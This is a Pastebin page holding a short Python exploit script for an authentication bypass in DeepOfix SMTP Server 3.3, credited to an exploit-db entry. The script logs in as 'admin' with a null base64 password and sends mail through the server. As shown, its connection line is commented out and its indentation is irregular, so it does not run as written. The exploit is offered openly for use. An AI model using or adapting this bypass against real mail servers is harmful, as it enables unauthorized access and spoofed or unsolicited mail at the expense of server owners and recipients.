Googleinurl

DeepOfix SMTP Server 3.3 - Authentication Bypass

Nov 29th, 2013
453
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import smtplib                       
  3.      #http://www.exploit-db.com/exploits/29706/                    
  4.      # Select the sender and the receivers            
  5.      sender = 'sender@mail'                   
  6.      receivers = ['receiver@mail.com']            
  7.                                   
  8.      # Write the message                      
  9.      message = """                        
  10.        From: From Sender <sender@mail.com>          
  11.        To: To Receiver <receiver@mail.com>          
  12.        Subject: NSA is watching you!              
  13.                                   
  14.        This is a really important message... xD       
  15.        """                        
  16.                                   
  17.      # Connect to the SMTP server and send the email      
  18.      try:                             
  19.        # server = smtplib.SMTP('deepofix.local', 25)      
  20.                                   
  21.        # Auth login --> admin/null in Base64           
  22.        server.docmd("auth login")             
  23.        server.docmd("YWRtaW4=")               
  24.        server.docmd("AA==")                   
  25.                                   
  26.        server.sendmail(sender, receivers, message)            
  27.        print "Successfully sent email"            
  28.                                   
  29.      except:                          
  30.            print "Error: unable to send email"  
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×